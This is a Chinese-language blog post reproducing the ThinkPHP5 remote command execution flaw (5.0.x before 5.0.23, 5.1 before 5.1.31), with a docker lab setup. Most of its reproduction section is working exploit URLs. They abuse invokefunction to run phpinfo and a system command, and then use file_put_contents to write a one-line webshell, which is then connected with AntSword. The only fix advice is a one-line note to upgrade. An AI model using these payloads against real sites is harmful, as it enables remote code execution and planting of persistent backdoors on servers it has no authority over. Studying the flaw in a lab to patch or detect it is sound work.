ThinPHP簡介
ThinkPHP是一個(gè)快速、兼容而且簡單的輕量級(jí)國產(chǎn) PHP開發(fā)框架?,誕生于2006年初,原名FCS,2007年元旦正式更名為ThinkPHP,遵循Apache2開源協(xié)議發(fā)布,使用面向?qū)ο蟮拈_發(fā)結(jié)構(gòu)和 MVC模式 ,從Struts結(jié)構(gòu)移植過來并做了改進(jìn)和完善,同時(shí)也借鑒了國外很多優(yōu)秀的框架和模式。
漏洞產(chǎn)生原因
由于thinkPHP5框架對(duì)控制器名沒有進(jìn)行足夠的安全檢測,導(dǎo)致在沒有開啟強(qiáng)制路由的情況下,攻擊者構(gòu)造指定的請(qǐng)求,可以直接getshell。
受影響版本
thinkPHP 5.0.x <thinkPHP 5.0.23
thinkPHP 5.1 <thinkPHP 5.1.31
漏洞復(fù)現(xiàn)
啟動(dòng)環(huán)境
docker-compose build
docker-compose up -d
訪問web環(huán)境
?代碼執(zhí)行
/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
?
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd
?寫入一句話
?
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要寫入的文件內(nèi)容url編碼
蟻劍連接
修復(fù)建議:請(qǐng)升級(jí)至最新版本文章來源:http://www.zghlxwxcb.cn/news/detail-506430.html
?參考鏈接:ThinkPHP5 遠(yuǎn)程命令執(zhí)行漏洞 - ??無恙 - 博客園文章來源地址http://www.zghlxwxcb.cn/news/detail-506430.html
到了這里,關(guān)于ThinkPHP5遠(yuǎn)程命令執(zhí)行漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!